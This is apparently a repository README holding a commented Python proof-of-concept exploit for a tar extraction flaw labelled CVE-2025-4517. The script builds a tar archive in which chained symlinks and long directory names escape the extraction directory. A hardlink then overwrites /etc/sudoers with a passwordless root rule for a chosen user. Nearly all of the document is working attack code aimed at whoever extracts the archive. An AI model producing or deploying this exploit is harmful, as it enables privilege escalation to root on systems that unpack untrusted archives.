README.md
Rendering markdown...
import tarfile
import os
import io
import sys
# Create a long directory name (247 'd' characters) that will be used many times
# This helps force path length issues and makes the traversal cleaner in some tar implementations
comp = 'd' * 247
# Sequence of single-letter directory names we'll create (a → p)
# We need many nested directories to make the relative path long enough later
steps = "abcdefghijklmnop"
# Current "working" path inside the tar (starts empty)
path = ""
# ───────────────────────────────────────────────
# Phase 1: Create deep nested directory structure + symlink loop
# ───────────────────────────────────────────────
with tarfile.open("evil_backup_cve_2025_4517.tar", mode="w") as tar:
for i in steps:
# 1. Create a very long-named directory (d repeated 247 times)
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
# 2. Immediately create a symlink with the SAME name as the next letter (a,b,c,...)
# that points back to the long-named directory we just created
# → this creates a symlink loop: b → ddddd..., c → ddddd..., etc.
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp # points to ../path/dddd... (long name)
tar.addfile(b)
# Move "current path" one level deeper (now inside the long-named dir)
path = os.path.join(path, comp)
# ───────────────────────────────────────────────
# Phase 2: Create long symlink chain that goes very high up
# ───────────────────────────────────────────────
# Build path like: a/d{247}/b/d{247}/c/d{247}/.../p/d{247}/l{254}
linkpath = os.path.join("/".join(steps), "l" * 254)
# This symlink will point many levels up (we'll use it to escape later)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
# Go up once for each original directory we created (a through p = 16 levels)
l.linkname = "../" * len(steps)
tar.addfile(l)
# ───────────────────────────────────────────────
# Phase 3: Final escape symlink that reaches /etc
# ───────────────────────────────────────────────
# "escape" → long-chain-symlink → ../../../../../../../../etc
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../etc"
# ^^^^^^^^^^^^^^^^^^^
# extra ../ to reach actual /etc
tar.addfile(e)
# ───────────────────────────────────────────────
# Phase 4: Hardlink trick (most important part!)
# ───────────────────────────────────────────────
# We first create a **hard link** entry pointing to "escape/sudoers"
# → this tells tar: "whatever file ends up at this name should share the same inode"
f = tarfile.TarInfo("sudoers_link")
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers" # ← points into our escaped path
tar.addfile(f)
# ───────────────────────────────────────────────
# Phase 5: Write actual content → goes to the hard-linked inode
# ───────────────────────────────────────────────
# Same name as previous hard link entry!
# Because it's a regular file with content → tar will write the content
# to the inode that is already linked from "escape/sudoers"
#change foy you user
content = b"demouser ALL=(ALL) NOPASSWD: ALL\n"
c = tarfile.TarInfo("sudoers_link")
c.type = tarfile.REGTYPE
c.size = len(content)
tar.addfile(c, fileobj=io.BytesIO(content))
# After extraction the victim usually sees:
# sudoers_link ← normal file with our payload
# escape/sudoers ← hardlinked to the same inode → /etc/sudoers gets overwritten